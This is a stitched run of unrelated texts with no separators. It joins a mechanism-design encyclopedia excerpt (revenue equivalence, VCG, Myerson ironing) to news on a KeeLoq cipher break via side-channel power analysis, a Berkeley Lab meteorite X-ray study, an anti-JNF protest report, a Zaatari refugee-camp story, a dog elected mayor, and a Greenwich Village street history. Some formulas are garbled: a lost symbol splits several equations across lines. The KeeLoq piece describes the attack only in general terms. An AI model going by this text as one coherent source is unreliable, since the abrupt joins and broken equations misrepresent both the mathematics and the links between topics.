There is potential for the two pieces to interact. If for some type range the contract offered less quantity to higher types ∂ x / ∂ θ < 0 {\displaystyle \partial x/\partial \theta <0} , it is possible the mechanism could compensate by giving higher types a discount. But such a contract already exists for low-type agents, so this solution is pathological. Such a solution sometimes occurs in the process of solving for a mechanism. In these cases it must be "ironed." In a multiple-good environment it is also possible for the designer to reward the agent with more of one good to substitute for less of another (e.g. butter for margarine). Multiple-good mechanisms are an ongoing problem in mechanism design theory.
Sufficiency [ edit ]
Mechanism design papers usually make two assumptions to ensure implementability:
1. ∂ ∂ θ ∂ u / ∂ x k | ∂ u / ∂ t | > 0 ∀ k {\displaystyle 1.\ {\frac {\partial }{\partial \theta }}{\frac {\partial u/\partial x_{k}}{\left|\partial u/\partial t\right|}}>0\ \forall k}
This is known by several names: the single-crossing condition, the sorting condition and the Spence–Mirrlees condition. It means the utility function is of such a shape that the agent's MRS is increasing in type.
2. ∃ K 0 , K 1 such that | ∂ u / ∂ x k ∂ u / ∂ t | ≤ K 0 + K 1 | t | {\displaystyle 2.\ \exists K_{0},K_{1}{\text{ such that }}\left|{\frac {\partial u/\partial x_{k}}{\partial u/\partial t}}\right|\leq K_{0}+K_{1}|t|}
This is a technical condition bounding the rate of growth of the MRS.
These assumptions are sufficient to provide that any monotonic x ( θ ) {\displaystyle x(\theta )} is implementable (a t ( θ ) {\displaystyle t(\theta )} exists that can implement it). In addition, in the single-good setting the single-crossing condition is sufficient to provide that only a monotonic x ( θ ) {\displaystyle x(\theta )} is implementable, so the designer can confine his search to a monotonic x ( θ ) {\displaystyle x(\theta )} .
Highlighted results [ edit ]
Revenue equivalence theorem [ edit ]
Vickrey (1961) gives a celebrated result that any member of a large class of auctions assures the seller of the same expected revenue and that the expected revenue is the best the seller can do. This is the case if
The buyers have identical valuation functions (which may be a function of type) The buyers' types are independently distributed The buyers types are drawn from a continuous distribution The type distribution bears the monotone hazard rate property The mechanism sells the good to the buyer with the highest valuation
The last condition is crucial to the theorem. An implication is that for the seller to achieve higher revenue he must take a chance on giving the item to an agent with a lower valuation. Usually this means he must risk not selling the item at all.
Vickrey–Clarke–Groves mechanisms [ edit ]
The Vickrey (1961) auction model was later expanded by Clarke (1971) and Groves to treat a public choice problem in which a public project's cost is borne by all agents, e.g. whether to build a municipal bridge. The resulting "Vickrey–Clarke–Groves" mechanism can motivate agents to choose the socially efficient allocation of the public good even if agents have privately known valuations. In other words, it can solve the "tragedy of the commons"—under certain conditions, in particular quasilinear utility or if budget balance is not required.
Consider a setting in which I {\displaystyle I} number of agents have quasilinear utility with private valuations v ( x , t , θ ) {\displaystyle v(x,t,\theta )} where the currency t {\displaystyle t} is valued linearly. The VCG designer designs an incentive compatible (hence truthfully implementable) mechanism to obtain the true type profile, from which the designer implements the socially optimal allocation
x I ∗ ( θ ) ∈ argmax x ∈ X ∑ i ∈ I v ( x , θ i ) {\displaystyle x_{I}^{*}(\theta )\in {\underset {x\in X}{\operatorname {argmax} }}\sum _{i\in I}v(x,\theta _{i})}
The cleverness of the VCG mechanism is the way it motivates truthful revelation. It eliminates incentives to misreport by penalizing any agent by the cost of the distortion he causes. Among the reports the agent may make, the VCG mechanism permits a "null" report saying he is indifferent to the public good and cares only about the money transfer. This effectively removes the agent from the game. If an agent does choose to report a type, the VCG mechanism charges the agent a fee if his report is pivotal, that is if his report changes the optimal allocation x so as to harm other agents. The payment is calculated
t i ( θ ^ ) = ∑ j ∈ I − i v j ( x I − i ∗ ( θ I − i ) , θ j ) − ∑ j ∈ I − i v j ( x I ∗ ( θ ^ i , θ I ) , θ j ) {\displaystyle t_{i}({\hat {\theta }})=\sum _{j\in I-i}v_{j}(x_{I-i}^{*}(\theta _{I-i}),\theta _{j})-\sum _{j\in I-i}v_{j}(x_{I}^{*}({\hat {\theta }}_{i},\theta _{I}),\theta _{j})}
which sums the distortion in the utilities of the other agents (and not his own) caused by one agent reporting.
Gibbard–Satterthwaite theorem [ edit ]
Gibbard (1973) and Satterthwaite (1975) give an impossibility result similar in spirit to Arrow's impossibility theorem. For a very general class of games, only "dictatorial" social choice functions can be implemented.
A social choice function f() is dictatorial if one agent always receives his most-favored goods allocation,
for f ( Θ ) , ∃ i ∈ I such that u i ( x , θ i ) ≥ u i ( x ′ , θ i ) ∀ x ′ ∈ X {\displaystyle {\text{for }}f(\Theta ){\text{, }}\exists i\in I{\text{ such that }}u_{i}(x,\theta _{i})\geq u_{i}(x',\theta _{i})\ \forall x'\in X}
The theorem states that under general conditions any truthfully implementable social choice function must be dictatorial,
X is finite and contains at least three elements Preferences are rational f ( Θ ) = X {\displaystyle f(\Theta )=X}
Myerson–Satterthwaite theorem [ edit ]
Myerson and Satterthwaite (1983) show there is no efficient way for two parties to trade a good when they each have secret and probabilistically varying valuations for it, without the risk of forcing one party to trade at a loss. It is among the most remarkable negative results in economics—a kind of negative mirror to the fundamental theorems of welfare economics.
Examples [ edit ]
Price discrimination [ edit ]
Mirrlees (1971) introduces a setting in which the transfer function t() is easy to solve for. Due to its relevance and tractability it is a common setting in the literature. Consider a single-good, single-agent setting in which the agent has quasilinear utility with an unknown type parameter θ {\displaystyle \theta }
u ( x , t , θ ) = V ( x , θ ) − t {\displaystyle u(x,t,\theta )=V(x,\theta )-t}
and in which the principal has a prior CDF over the agent's type P ( θ ) {\displaystyle P(\theta )} . The principal can produce goods at a convex marginal cost c(x) and wants to maximize the expected profit from the transaction
max x ( θ ) , t ( θ ) E θ [ t ( θ ) − c ( x ( θ ) ) ] {\displaystyle \max _{x(\theta ),t(\theta )}\mathbb {E} _{\theta }\left[t(\theta )-c\left(x(\theta )\right)\right]}
subject to IC and IR conditions
u ( x ( θ ) , t ( θ ) , θ ) ≥ u ( x ( θ ′ ) , t ( θ ′ ) , θ ) ∀ θ , θ ′ {\displaystyle u(x(\theta ),t(\theta ),\theta )\geq u(x(\theta '),t(\theta '),\theta )\ \forall \theta ,\theta '} u ( x ( θ ) , t ( θ ) , θ ) ≥ u _ ( θ ) ∀ θ {\displaystyle u(x(\theta ),t(\theta ),\theta )\geq {\underline {u}}(\theta )\ \forall \theta }
The principal here is a monopolist trying to set a profit-maximizing price scheme in which it cannot identify the type of the customer. A common example is an airline setting fares for business, leisure and student travelers. Due to the IR condition it has to give every type a good enough deal to induce participation. Due to the IC condition it has to give every type a good enough deal that the type prefers its deal to that of any other.
A trick given by Mirrlees (1971) is to use the envelope theorem to eliminate the transfer function from the expectation to be maximized,
let U ( θ ) = max θ ′ u ( x ( θ ′ ) , t ( θ ′ ) , θ ) {\displaystyle {\text{let }}U(\theta )=\max _{\theta '}u\left(x(\theta '),t(\theta '),\theta \right)} d U d θ = ∂ u ∂ θ = ∂ V ∂ θ {\displaystyle {\frac {dU}{d\theta }}={\frac {\partial u}{\partial \theta }}={\frac {\partial V}{\partial \theta }}}
Integrating,
U ( θ ) = u _ ( θ 0 ) + ∫ θ 0 θ ∂ V ∂ θ ~ d θ ~ {\displaystyle U(\theta )={\underline {u}}(\theta _{0})+\int _{\theta _{0}}^{\theta }{\frac {\partial V}{\partial {\tilde {\theta }}}}d{\tilde {\theta }}}
where θ 0 {\displaystyle \theta _{0}} is some index type. Replacing the incentive-compatible t ( θ ) = V ( x ( θ ) , θ ) − U ( θ ) {\displaystyle t(\theta )=V(x(\theta ),\theta )-U(\theta )} in the maximand,
E θ [ V ( x ( θ ) , θ ) − u _ ( θ 0 ) − ∫ θ 0 θ ∂ V ∂ θ ~ d θ ~ − c ( x ( θ ) ) ] {\displaystyle \mathbb {E} _{\theta }\left[V(x(\theta ),\theta )-{\underline {u}}(\theta _{0})-\int _{\theta _{0}}^{\theta }{\frac {\partial V}{\partial {\tilde {\theta }}}}d{\tilde {\theta }}-c\left(x(\theta )\right)\right]} = E θ [ V ( x ( θ ) , θ ) − u _ ( θ 0 ) − 1 − P ( θ ) p ( θ ) ∂ V ∂ θ − c ( x ( θ ) ) ] {\displaystyle =\mathbb {E} _{\theta }\left[V(x(\theta ),\theta )-{\underline {u}}(\theta _{0})-{\frac {1-P(\theta )}{p(\theta )}}{\frac {\partial V}{\partial \theta }}-c\left(x(\theta )\right)\right]}
after an integration by parts. This function can be maximized pointwise.
Because U ( θ ) {\displaystyle U(\theta )} is incentive-compatible already the designer can drop the IC constraint. If the utility function satisfies the Spence–Mirrlees condition then a monotonic x ( θ ) {\displaystyle x(\theta )} function exists. The IR constraint can be checked at equilibrium and the fee schedule raised or lowered accordingly. Additionally, note the presence of a hazard rate in the expression. If the type distribution bears the monotone hazard ratio property, the FOC is sufficient to solve for t(). If not, then it is necessary to check whether the monotonicity constraint (see sufficiency, above) is satisfied everywhere along the allocation and fee schedules. If not, then the designer must use Myerson ironing.
Myerson ironing [ edit ]
It is possible to solve for a goods or price schedule that satisfies the first-order conditions yet is not monotonic. If so it is necessary to "iron" the schedule by choosing some value at which to flatten the function.
In some applications the designer may solve the first-order conditions for the price and allocation schedules yet find they are not monotonic. For example, in the quasilinear setting this often happens when the hazard ratio is itself not monotone. By the Spence–Mirrlees condition the optimal price and allocation schedules must be monotonic, so the designer must eliminate any interval over which the schedule changes direction by flattening it.
Intuitively, what is going on is the designer finds it optimal to bunch certain types together and give them the same contract. Normally the designer motivates higher types to distinguish themselves by giving them a better deal. If there are insufficiently few higher types on the margin the designer does not find it worthwhile to grant lower types a concession (called their information rent) in order to charge higher types a type-specific contract.
Consider a monopolist principal selling to agents with quasilinear utility, the example above. Suppose the allocation schedule x ( θ ) {\displaystyle x(\theta )} satisfying the first-order conditions has a single interior peak at θ 1 {\displaystyle \theta _{1}} and a single interior trough at θ 2 > θ 1 {\displaystyle \theta _{2}>\theta _{1}} , illustrated at right.
Following Myerson (1981) flatten it by choosing x {\displaystyle x}
∫ ϕ 2 ( x ) ϕ 1 ( x ) ( ∂ V ∂ x ( x , θ ) − 1 − P ( θ ) p ( θ ) ∂ 2 V ∂ θ ∂ x ( x , θ ) − ∂ c ∂ x ( x ) ) d θ = 0 {\displaystyle \int _{\phi _{2}(x)}^{\phi _{1}(x)}\left({\frac {\partial V}{\partial x}}(x,\theta )-{\frac {1-P(\theta )}{p(\theta )}}{\frac {\partial ^{2}V}{\partial \theta \,\partial x}}(x,\theta )-{\frac {\partial c}{\partial x}}(x)\right)d\theta =0} where ϕ 1 ( x ) {\displaystyle \phi _{1}(x)} θ ≤ θ 1 {\displaystyle \theta \leq \theta _{1}} ϕ 2 ( x ) {\displaystyle \phi _{2}(x)} θ ≥ θ 2 {\displaystyle \theta \geq \theta _{2}} ϕ 1 {\displaystyle \phi _{1}} θ {\displaystyle \theta } ϕ 2 {\displaystyle \phi _{2}} θ {\displaystyle \theta }
If the nonmonotonic region of x ( θ ) {\displaystyle x(\theta )} ϕ ( x ) {\displaystyle \phi (x)}
Proof [ edit ]
The proof uses the theory of optimal control. It considers the set of intervals [ θ _ , θ ¯ ] {\displaystyle \left[{\underline {\theta }},{\overline {\theta }}\right]} in the nonmonotonic region of x ( θ ) {\displaystyle x(\theta )} over which it might flatten the schedule. It then writes a Hamiltonian to obtain necessary conditions for a x ( θ ) {\displaystyle x(\theta )} within the intervals
that does satisfy monotonicity for which the monotonicity constraint is not binding on the boundaries of the interval
Condition two ensures that the x ( θ ) {\displaystyle x(\theta )} satisfying the optimal control problem reconnects to the schedule in the original problem at the interval boundaries (no jumps). Any x ( θ ) {\displaystyle x(\theta )} satisfying the necessary conditions must be flat because it must be monotonic and yet reconnect at the boundaries.
As before maximize the principal's expected payoff, but this time subject to the monotonicity constraint
∂ x ∂ θ ≥ 0 {\displaystyle {\frac {\partial x}{\partial \theta }}\geq 0}
and use a Hamiltonian to do it, with shadow price ν ( θ ) {\displaystyle
u (\theta )}
H = ( V ( x , θ ) − u _ ( θ 0 ) − 1 − P ( θ ) p ( θ ) ∂ V ∂ θ ( x , θ ) − c ( x ) ) p ( θ ) + ν ( θ ) ∂ x ∂ θ {\displaystyle H=\left(V(x,\theta )-{\underline {u}}(\theta _{0})-{\frac {1-P(\theta )}{p(\theta )}}{\frac {\partial V}{\partial \theta }}(x,\theta )-c(x)\right)p(\theta )+
u (\theta ){\frac {\partial x}{\partial \theta }}}
where x {\displaystyle x} is a state variable and ∂ x / ∂ θ {\displaystyle \partial x/\partial \theta } the control. As usual in optimal control the costate evolution equation must satisfy
∂ ν ∂ θ = − ∂ H ∂ x = − ( ∂ V ∂ x ( x , θ ) − 1 − P ( θ ) p ( θ ) ∂ 2 V ∂ θ ∂ x ( x , θ ) − ∂ c ∂ x ( x ) ) p ( θ ) {\displaystyle {\frac {\partial
u }{\partial \theta }}=-{\frac {\partial H}{\partial x}}=-\left({\frac {\partial V}{\partial x}}(x,\theta )-{\frac {1-P(\theta )}{p(\theta )}}{\frac {\partial ^{2}V}{\partial \theta \,\partial x}}(x,\theta )-{\frac {\partial c}{\partial x}}(x)\right)p(\theta )}
Taking advantage of condition 2, note the monotonicity constraint is not binding at the boundaries of the θ {\displaystyle \theta } interval,
ν ( θ _ ) = ν ( θ ¯ ) = 0 {\displaystyle
u ({\underline {\theta }})=
u ({\overline {\theta }})=0}
meaning the costate variable condition can be integrated and also equals 0
∫ θ _ θ ¯ ( ∂ V ∂ x ( x , θ ) − 1 − P ( θ ) p ( θ ) ∂ 2 V ∂ θ ∂ x ( x , θ ) − ∂ c ∂ x ( x ) ) p ( θ ) d θ = 0 {\displaystyle \int _{\underline {\theta }}^{\overline {\theta }}\left({\frac {\partial V}{\partial x}}(x,\theta )-{\frac {1-P(\theta )}{p(\theta )}}{\frac {\partial ^{2}V}{\partial \theta \,\partial x}}(x,\theta )-{\frac {\partial c}{\partial x}}(x)\right)p(\theta )\,d\theta =0}
The average distortion of the principal's surplus must be 0. To flatten the schedule, find an x {\displaystyle x} such that its inverse image maps to a θ {\displaystyle \theta } interval satisfying the condition above.
See also [ edit ]
Notes [ edit ]
The finding by the scientists from Ruhr University in Bochum, Germany, means it is now relatively straightforward to clone the remote control devices that act as the electronic keys that unlock these restricted areas.
In a paper published earlier this week, they demonstrated a method they say completely breaks the encryption used in the Keeloq security system, which is used by manufacturers of cars, garage door openers and other devices. The hardware-based block cipher is made by US-based Microchip Technology and is used by Honda, Toyota, Volvo, Volkswagen and other manufacturers to securely transmit access codes that are transmitted using radio frequency identification technology.
The scientists from Ruhr's Electrical Engineering and Information Sciences Department were able to defeat the Keeloq's security because it relies on poor key management, in which every key is derived from a master key that's stored in the reading device, according to Timo Kasper, a PhD candidate who worked on the paper. Moreover, it uses a proprietary algorithm that had already been shown to generate cryptographically weak output.
The algorithm was kept secret for most of the two decades it's been in use. That changed about 18 months ago, when an an entry on Wikipedia published the cipher. The research team almost immediately spotted weaknesses.
"If they had made it public they would have found out 20 years ago that it's insecure," Kasper said in an interview. "Now it's a little bit too late, because it's already built into all the garages and cars."
Microchip officials wouldn't be interviewed for this story. They issued a statement that stated: "The most recently published German paper on theoretical attack requires detailed knowledge of the system implementation and a combination of data, specialized skills, equipment and access to various components of a system, which is seldom feasible. These theoretical attacks are not unique to the Keeloq system and could be applied to virtually any security system."
The paper describes a two-step approach to the crack. The first is what's known as a side-channel attack to deduce the master key that manufacturers build into each car lock, garage door opener or other access device that is equipped with Keeloq. One side-channel technique uses an oscilloscope to map how much power is used at precise time intervals while the Keeloq-based access device derives a new key. A similar method analyzes electromagnetic radiation.
Because most access devices are publicly available, it's not too hard for attackers to get their hands on one to perform the analysis. The hack requires about $3,000 worth of equipment and a fair amount of technical skill, but once the unique master key for a particular model is available, it works universally, Kasper said.
This video shows the Chelyabinsk meteor explosion and plume, as modeled by a NASA satellite. (Credit: NASA/Goddard Space Flight Center)
Learn More About Berkeley Lab’s X-ray Work with NASA (click on an image below) Overview
Heat Shields
Parachutes
Four years ago, a brilliant fireball streaked across the dawn sky over Russia, then fractured with the force of about 500,000 tons of TNT. The shock wave blew out windows and damaged thousands of buildings across several cities in Russia’s Chelyabinsk Oblast region, injuring about 1,500 people.
The school bus–sized meteoroid that caused this destruction was estimated to weigh about 11,000 tons and was traveling approximately 60 times the speed of sound. Fortunately, it broke apart at a height of about 19 miles, and wasn’t above a city. An explosion of this magnitude would have caused far greater damage if it had occurred at lower altitudes over a densely populated area.
NASA’s Planetary Defense Coordination Office is charged with monitoring the paths of asteroids and other objects with orbits that could send them on a crash course with Earth, and planning for response to an actual impact threat.
Under this office, NASA’s Asteroid Threat Assessment Project has been established to develop predictive tools, including physics-based computer simulations, to assess the impact threat posed by so-called “near-Earth asteroids” and a subclass of these objects deemed “potentially hazardous asteroids.”
X-ray studies of meteorite samples planned at Berkeley Lab’s Advanced Light Source (ALS) will aid this effort by providing new insights about the microscopic makeup of an asteroid’s constituent material, and breakup of meteoroids in the atmosphere.
Harold Barnard, a scientist at Berkeley Lab’s ALS, has developed a specialized test chamber for X-ray studies of meteorite samples that simulates the extreme compressive forces asteroids experience when traveling through Earth’s atmosphere.
The cylindrical chamber has grips that serve like a vice to exert pressure on meteorite samples, and X-ray imaging can study how this compression, in combination with heat and pressure, affects their microscopic structure.
“We want to understand the fracture mechanics of meteors,” he said, which will serve to inform and test computer models of asteroids as they fall from the sky, which in turn are used to predict the strength of the explosion when they break up.
Francesco Panerai, a scientist with AMA Inc. working at NASA Ames Research Center (NASA ARC) in Moffett Field, Calif., and who will direct the meteorite studies at the ALS, said the experiments aim to help us understand how asteroids fracture and break up.
“It is very complex science, but it has a lot of common features with (spacecraft) entry systems,” Panerai said. “We will apply the tools we have to model spacecraft to asteroids.”
He added, “One of the tricky parts is understanding how meteorites fracture at the microscopic level, and how the material will eventually burst in the atmosphere,” as meteorites have a complex microscopic structure compared to ordinary rocks and behave in different ways under stress. “We are trying to see if we can image the cracks and the propagation of fractures.”
Mapping this microstructure to a large asteroid could help to predict the height and strength of the explosion, for example, or the likely impacted area of an impending meteorite strike after midair breakup.
The ALS study will provide detailed 3-D views of the internal structure of the sample under stress by aggregating a sequence of X-ray images taken at different stages of heating and tension, and from different angles.
Dula Parkinson, a research scientist at Berkeley Lab who works on the NASA-related projects, said the same sample cell can stretch or compress a range of different materials in other types of experiments, too: “It can work for anything you want to crush or pull on,” he said. “When someone has an application that’s challenging, it really pushes you to develop something new.”
Learn more about the research partnership between NASA and Berkeley Lab in these articles:
When Rocket Science Meets X-ray Science : Berkeley Lab and NASA collaborate in X-ray experiments to ensure safety, reliability of spacecraft systems.
: Berkeley Lab and NASA collaborate in X-ray experiments to ensure safety, reliability of spacecraft systems. The Heat is On : X-rays reveal how simulated atmospheric entry conditions impact spacecraft shielding.
: X-rays reveal how simulated atmospheric entry conditions impact spacecraft shielding. A New Paradigm in Parachute Design: X-ray studies showing the microscopic structure of spacecraft parachute fabrics can fill in key details about how they perform under extreme conditions.
The Advanced Light Source is a DOE Office of Science User Facility.
Lawrence Berkeley National Laboratory addresses the world’s most urgent scientific challenges by advancing sustainable energy, protecting human health, creating new materials, and revealing the origin and fate of the universe. Founded in 1931, Berkeley Lab’s scientific expertise has been recognized with 13 Nobel Prizes. The University of California manages Berkeley Lab for the U.S. Department of Energy’s Office of Science. For more, visit www.lbl.gov.
The protesters were carrying signs and banners protesting against what they called Israel and the JNF’s "apartheid policies". Some were also holding up signs in protest of the “blockade of Gaza.”
Local police were on the scene, preventing the protesters from entering the building and pushing away additional protesters who were on nearby streets.
Sunday’s event was attended by Canadian Prime Minister Stephen Harper, who is expected to announce his first trip to Israel at the annual fundraiser.
Responding to the protests, JNF World Chairman Efi Stenzler said, "This is an incident which is part of a long-standing false campaign of de-legitimization that has targeted the State of Israel and the Jewish National Fund in particular. These and other actions will not deter the Jewish National Fund and its supporters around the world from continuing to represent the State of Israel and working to strengthen it.”
Sunday’s incident was not the first time that anti-Israel protesters have targeted a JNF event.
In October, as the organization held its annual meeting in the city of Denver, Colorado, a group of anti-Israel protesters gathered outside the residence of Colorado Governor John Hickenlooper as he hosted JNF representatives.
They carried signs accusing Israel of genocide, and called “Israel out of Palestine,” and, “Long live the Intifada.” Intifada is the Arabic word commonly used to refer to the terrorist war on Israel, which has killed thousands of Israeli civilians.
At the time, Stenzler told Arutz Sheva that this is far from the first time that anti-Israel protesters have targeted JNF. Similar protests have been seen in France, Belgium, South Africa, and other countries as well, he said.
“Everywhere that there’s a JNF office there are protests, because we do Jewish, Zionist activity,” he declared.
“But at the same time, we help minorities,” he noted. However, he said, “They don’t let the facts get in their way. We don’t plant a single tree on land that doesn’t belong to the state of Israel, but like I said, they don’t let the facts stop them.”
Photos by JNF.
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Now it has shrunk to almost one third of its former size as Syrians desperate for a better future migrate to other parts of the Middle East or attempt the dangerous journey to Europe.
For those who made a successful business amid the despair, depopulation has hit them hard. Shadi Arour, a refugee from the southern Syrian city of Daraa says his business, which sells candies, nuts and cigarettes, has fallen by 75% in the last two years. “Before there was movement, people, now we stop during the week, people only buy tea and cigarettes, and the only traffic is on Fridays. Almost one out of two shops has closed,” he says.
Arour’s stall is in the camp’s main thoroughfare, nicknamed the Champs-Elysées after a glamorous avenue in Paris, where camp residents could buy anything from food to televisions and bridal gowns.
Now the main activity is by the camp’s security center, where hundreds queue to collect permits issued by Jordan’s Interior Ministry to leave the camp. The permits allow Jordan to monitor the number of refugees and allocate food and services in conjunction with international agencies.
Some 630,000 Syrians have registered with the U.N.’s refugee agency in Jordan since 2011, though Amman says the actual number of Syrian refugees in Jordan is around 1.4 million. Official figures estimate some 79,000 live in Zaatari today, though some think the number could be closer to 50,000.
These Photos Show the Massive Scale of Europe's Migrant Crisis Muhammed Muheisen—AP Zoltan Balogh—EPA Filip Singer—EPA Aris Messinis—AFP/Getty Images Iakovos Hatzistavrou—AFP/Getty Images Manu Brabo—AP Manu Brabo—AP Sergey Ponomarev—The New York Times/Redux Marko Djurica—Reuters Balazs Mohai—EPA Alkis Konstantinidis—Reuters Muhammed Muheisen—AP Muhammed Muheisen—AP Yannis Behrakis—Reuters Dan Kitwood—Getty Images Dan Kitwood—Getty Images Dan Kitwood— Getty Images Angelos Tzortzinis—AFP/Getty Images Yuri Kozyrev—NOOR for TIME Yuri Kozyrev—NOOR for TIME Petros Giannakouris—AP Giannis Papanikos—AP Marko Djurica—Reuters Dan Kitwood—Getty Images Gregorio Borgia—AP Reuters Yuri Kozyrev—NOOR for TIME Yuri Kozyrev—NOOR for TIME Attila Kisbender—AFP/Getty Images Bernadett Szabo—Reuters Tamas Soki—EPA Petros Giannakouris—AP Georgi Licovski—EPA Rob Stothard—Getty Images Yannis Behrakis—Reuters 1 of 36 Advertisement
The richer refugees plan to fly to Turkey from Amman where they will try to make the sea crossing with people smugglers from Turkey to the Greek islands. Others join a daily fleet of Jordanian military, which transport them six miles to the Nasib border crossing on the Syria Jordan border. From there, they will either return to their homes in Syria or make their way to Turkey by land, risking conflict and armed bands on the way.
Andrew Harper, the representative of the U.N. refugee agency in Jordan said that in July, 60 Syrians a day were leaving the camp but that has reached 300 in recent weeks.
Omar Nweran, a music teacher from Daraa has lived in Zaatari since the early days of 2012, says he has seen more than 100 people he knows leave with their families. “I’m not leaving, because I have a mission here to meet with the children and teach them music, but not many are like me nowadays,” he says.
The smaller numbers of refugees has improved conditions for those that remain. “Certainly there are less, it’s much more manageable now. We’re putting in better infrastructure, but it takes time and money,” Harper says. “In the end we can keep people alive but it has to be much more than that. They need dignity, and that’s something more refugees are finding increasingly difficult to have here.”
Electricity in the camp is intermittent and residents wait for the supply to re-start so they can watch the news bulletins in which they have seen their compatriots crossing the sea and traveling through Europe.
That’s how most people learned about German Chancellor Angela Merkel’s decision to open her country’s borders to unregistered refugees.
“My goal is Germany. I am checking the news and saw what happened in Hungary at the border but I am not afraid of it or any changing policy,” Jamal Al Hamier, a Zaatari resident from Syria’s southern city of Daraa, says ahead of his trip.
The 27-year-old holds a bachelor’s degree in economics, and after spending three years doing odd jobs like the one he has now filling water tanks, he said the camp just doesn’t cut it.
“I have friends who were already living in Germany and they said the future is possible and bright there,” he says. “People have been talking about this since June, then Merkel said she would host Syrians, and I know that after September the sea becomes dangerous but I don’t care, I want to go.”
For those without the funds for the Europe trip, war-torn Syria still presents a better option than the camp. Just outside the security center, Ahmed Al Kharas, a Syrian in his 30s slouched on a pile of luggage and smoked a cigarette. He would cross the Jordanian border by bus the next day, alone.
“I am going back to reach my brothers in Daraa, regardless of the war and the barrel bombs” he says. “Once in Syria I will think of a plan, because here there is no future.”
A small Kentucky town has, for the fourth time, elected a dog to be its mayor. Jordie Bamforth says her 3-year-old pit bull Brynneth Pawltro beat out a cat, a chicken and a donkey, among others, to become the next mayor of Rabbit Hash, 78 miles north of Lexington.
Bobbi Kayser, who works with the town's Historical Society, says the election started in the late 1990s as a fundraiser.
"We charge you a dollar for your vote, you vote as often as you want."
Every generation has defined Greenwich Village differently—sleepy suburb, elite residential enclave, America's Left Bank, Sex in the City streetscape—but the one constant for over two centuries has been the neighborhood's tangle of streets, which defy logic and sometimes surprise even longtime residents. Purposefully left off John Randel's 1811 Manhattan street grid, the core of the West and South Village lies along even older thoroughfares: Christopher Street, which cut inland from the pier; Greenwich Avenue (known in the colonial era as Monument Lane), and, most significantly, Bleecker Street, which was an important road even before it cut through Anthony Bleecker's farm.
The far western edge of what we call Greenwich Village was a Native American settlement/fishing camp known as Sapokanican, a name which may or may not refer to tobacco fields in the area. Certainly, by the time the Dutch arrived in force in the 1620s, tobacco was on their minds, and the Dutch West India Company's director-general, Wouter Van Twiller, acquired a large parcel of land in the area in 1633 to cultivate the cash crop. The Dutch began referring to the small settlement as Noortwijck ("north village"), a reminder that it was the first village where ships could put in when sailing north on the Hudson River from New Amsterdam.
For much of the seventeenth and eighteenth centuries, the Hudson River was the primary mode of travel to Noortwijck; the only other route north, the Bowery ("farm road") ran too far to the east. Some early maps also show a "Road to Greenwich" (today's Greenwich Street) hugging the coastline, but it was often flooded, rutted, and not really viable. At some point after the British took over New Amsterdam in 1664, Noortwijck was renamed Greenwich, but the reasons behind this are murky. It may simply be named after Greenwich, England, or it may be a corruption of another Dutch moniker, Greenwijck ("pine village").
[A closeup of Greenwich Village from the 1767 Ratzer Map.]
As the population of Manhattan grew, Greenwich Village became a place for wealthier New Yorkers to summer. The most famous country estates were Richmond Hill—home to John Adams when New York was the seat of government, and then later to Aaron Burr—and the home of Admiral Peter Warren, at what would one day become the block bounded by Perry, Charles, West 4th Street, and Bleecker. In 1748, a large tract west of the Bowery was acquired by Elbert Haring and his land (mislabeled "Herrin") appears on the 1767 Ratzer map with a small road running through it; that road is the first evidence for what is today Bleecker Street—and the path may well have pre-dated the Haring family's purchase.
By 1797, when the city hired surveyors Joseph-François Mangin and Casimir Goerck to create a comprehensive city map, the area closest to the Bowery was in the hands of Anthony Lispenard Bleecker. The Mangin-Goerck plan, produced in 1801, was more ambitious than the city had bargained for, adding streets where none existed and charting, for the first time, the course for the city's northward growth. Though the common council rejected the Mangin-Goerck survey (instead appointing the commission that would produce the street grid we have today), many of its features were incorporated, including the present course of Bleecker Street. From the Hudson to what is now Sixth Avenue it was labeled Herring Street (undoubtedly a corruption of Haring); east of Sixth Avenue it became St. David Street, and the small section from Broadway to the Bowery was labelled, for the first time, Bleecker. In 1808, Anthony Bleecker deeded his twenty-acre farm to the city, and by 1817, when lots were being auctioned off, the Bleecker name extended all the way to the present Sixth Avenue; in 1829, as part of a plan to streamline Village street names, Herring Street was dropped and Bleecker became the name of the entire thoroughfare.
[The Mangin-Goerck plan, as reprinted in 1871.]
The oldest house still standing on Bleecker, No. 329, was built sometime between 1802 and 1810 (when it was still Herring Street) at the corner of Christopher. This two-story building, which housed William Patterson's grocery store on the ground floor, would have been wider originally; soon after Herring Street became part of Bleecker, the roadbed was widened (warning: PDF!) and the edge of the grocery lopped off and replaced. When Patterson opened his store, this intersection would have been the center of the old Village, a sleepy backwater with no churches and a one-room schoolhouse. All of that was about to change.
Although the publication of the Commissioners' Plan of 1811 provided a framework for future growth into the newly charted streets north of Fourteenth Street, the nucleus of the first wealthy neighborhood outside the old city was Bleecker Street. It and other streets clustered around Broadway and the Bowery—Lafayette, St. Marks, Great Jones, and Bond—came to be known as the neighborhood "above Bleecker," from which bankers, brokers, and downtown merchants would commute each day. In 1821, James Roosevelt (a lawyer, sugar refiner, and great-grandfather of FDR) built an elegant townhouse (right on the corner of Bleecker and Crosby, now home to the Bleecker Street Bar. A year later, a deadly yellow fever outbreak sent scores of New Yorkers to Bleecker Street's western precincts, and almost overnight what had been a village disconnected from the rest of the city became a real suburb.
In 1826, the large graveyard was reopened as Washington Square, drawing more people to the area. By the time the famous homes on Washington Square and Lafayette Street were finished in the early 1830s, the bulk of New York's high society had moved to the Village.
While Colonnade Row and Washington Square are the area's most famous housing developments, Bleecker Street had a number of upscale terraces. The "first and finest" of these, according to Village historian Luther S. Harris, was LeRoy Place, the name of the block of Bleecker between Greene and Mercer Streets. Nearby Carroll Place was built by developer Thomas E. Davis in 1831 on the block of Bleecker east of Thompson, and the similar DePau Row opened a year later a block farther west.
While LeRoy Place and DePau Row are long gone, five buildings from Carroll Place still stand, their original elegance apparent despite later alterations. Nos. 144 and 146 on the south side of the street, and Nos. 145-149 (which now house, among other things, the famous club The Bitter End) face them on the north side. Among Carroll Place's illustrious residents was author James Fenimore Cooper, who lived at No. 145 in 1833 before decamping to another Davis development on St. Marks Place.
[The Peter Warren estate, which later became the Van Nest house.]
By the 1850s, the character of Bleecker Street was changing. When the Civil War Draft Riots swept the city in July 1863, police and protesters clashed on Bleecker Street. The U.S. Army's Eastern District office—the ultimate target of the mob's wrath—was housed at No. 37 Bleecker, in a building that still stands.
